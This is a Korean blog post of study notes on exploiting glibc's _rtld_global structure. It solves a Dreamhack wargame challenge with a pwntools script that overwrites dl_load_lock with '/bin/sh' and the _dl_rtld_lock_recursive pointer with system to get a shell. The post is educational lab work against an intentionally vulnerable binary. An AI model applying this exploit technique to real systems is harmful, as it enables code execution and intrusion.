반응형
Recent Posts
Recent Comments
Link
«   2024/07   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

ZZoMb1E_PWN

[PWNABLE] rtld global 본문

STUDY/PWNABLE_AMD64

[PWNABLE] rtld global

ZZoMb1E 2024. 6. 24. 21:56
728x90
반응형

rtld global

프로그램이 실행되고 프로세스로 등록될 때, 코드와 변수들을 관리하기 위한 구조체이다.

실행이 종료되는 지점에서 참조된다.

return에 의해 종료될 때 확인이 가능하다.

 

간단한 실습 예제이다.

#include <stdio.h>

int main(){
	return 0;
    }

바이너리 __stack부터 확인해보면 main함수 호츨을 __libc_start_main에서 하는 것을 알 수 있다.

즉, main함수가 종료될 때 복귀도는 주소도 __libc_start_main이다.

 

여기서 step into로 계속 들어가보겠다.

조금 들어가다보면 __GI_exit라는 함수가 호출된다.

그리고 __run_exit_handlers를 호출한다.

 

이제 여기서 함수 종료에 return을 쓰나 안쓰나에 따라 달라지는데,

이번 예제는 사용을 했기 때문에 _dl_fini라는 함수가 호출된다.

 

 

dreamhack 설명으로는 여기서 __rtld_lock_lock_recursive함수가 호출된다고 하는데 gdb로는 위 상태에서

__GI__exit함수로 갔다가 종료된다.

 

# define __rtld_lock_lock_recursive(NAME) \
  GL(dl_rtld_lock_recursive) (&(NAME).mutex)
  
void
_dl_fini (void)
{
#ifdef SHARED
  int do_audit = 0;
 again:
#endif
  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
      /* Protect against concurrent loads and unloads.  */
      __rtld_lock_lock_recursive (GL(dl_load_lock));

__di_fini함수에서 dl_load_lock을 인자로 recursive함수를 호출한다.

 __rtld_lock_lock_recursive는 코드에서 매크로로 dl_rtld_lock_recursive라는 함수 포인터로 사용된다.

 

해당 포인터는 _rtld_global 구조체의 맴버 변수라고 한다.

 

_rtld_global 변수에 대해 살펴보겠다.

 

상당히 긴 친구이다.

_dl_rtld_lock_recursive에 대한 정의이다.

실행중인 상태에서 봤을 때 rtld_lock_default_lock_recursive의 주소를 저장하고 있다.

 

해당 부분을 이용하여 메모리를 변조하면 공격이 가능하다.

 


dreamhack _rtld_global 문제

 

#include <stdio.h>
#include <stdlib.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  long addr;
  long data;
  int idx;

  init();

  printf("stdout: %p\n", stdout);
  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("addr: ");
        scanf("%ld", &addr);
        printf("data: ");
        scanf("%ld", &data);
        *(long long *)addr = data;
        break;
      default:
        return 0;
    }
  }
  return 0;
}

문제 코드이다.

case 1인 경우에서 got overwrite 취약점이 발생하는 것을 볼 수 있다.

 

stdout의 주소를 leak해주기 때문에 해당 주소를 이용해서 libc_base를 구할 수 있다.

patchelf 명령어로 사용하는 라이브러리를 패치해준다.

gdb로 확인해보면 정상적으로 바뀐 것을 볼 수있다.

기존 libc_base와의 차이를 계산하면 0x3f1000이 나다

 

 

_rtld_global 주소 계산과정이다.

구조체 내 맴버 변수의 오프셋을 알아내려면 구조체와 멤버 변수 정보를 가지고 있는 디버깅 심볼이 필요하다.

 

glibc의 상세버젼은 2.27-3ubuntu1이다.

 

 wget http://launchpadlibrarian.net/365856914/libc6-dbg_2.27-3ubuntu1_amd64.deb
 
 dpkg -x libc6-dbg_2.27-3ubuntu1_amd64.deb ./

해당 버젼에 맞는 패키지를 다운받고 추출한다.

이제 맴버 변수의 오프셋을 구했으니 공격을 수행하면 된다.

 

전체 페이로드이다.

from pwn import*

p = process(['./ow_rtld'],env={'LD_PRELOAD':'./libc-2.27.so'})
e = ELF('./ow_rtld')
libc = ELF('./libc-2.27.so')
ld = ELF('./ld-2.27.so')

context.log_level='debug'

p.recvuntil(b": ")
stdout = int(p.recvn(14),16)
print("stdout@add : ",hex(stdout))

stdout_offset = libc.sym['_IO_2_1_stdout_']
libc_base = stdout - stdout_offset
print("libc_base@add : ", hex(libc_base))

ld_base = libc_base + 0x3f1000
print("ld_base@add : ", hex(ld_base))

rtld_global = ld_base + ld.sym['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840

print("rtld_global@add : ",hex(rtld_global))
print("dl_load_lock@add : ",hex(dl_load_lock))
print("dl_rtld_lock_recursive@add : ",hex(dl_rtld_lock_recursive))

system_offset = libc.sym['system']
system = libc_base + system_offset

def send(add,val):
    p.sendlineafter(b'>',b'1')
    p.sendlineafter(b'addr: ',str(add))
    p.sendlineafter(b'data: ',str(val))

send(dl_load_lock, u64('/bin/sh\x00'))

send(dl_rtld_lock_recursive,system)

p.sendlineafter(b'> ',b'2')

p.interactive()

 



728x90
반응형

'STUDY > PWNABLE_AMD64' 카테고리의 다른 글

[PWNABLE] Heap Chunk Structure  (0) 2024.06.24
[PWNABLE] FSOP  (0) 2024.06.24
[PWNABLE] environ stack leak  (0) 2024.06.24
[PWNABLE] Stack Pivoting  (0) 2024.06.24
[PWNABLE] FPO  (0) 2024.06.24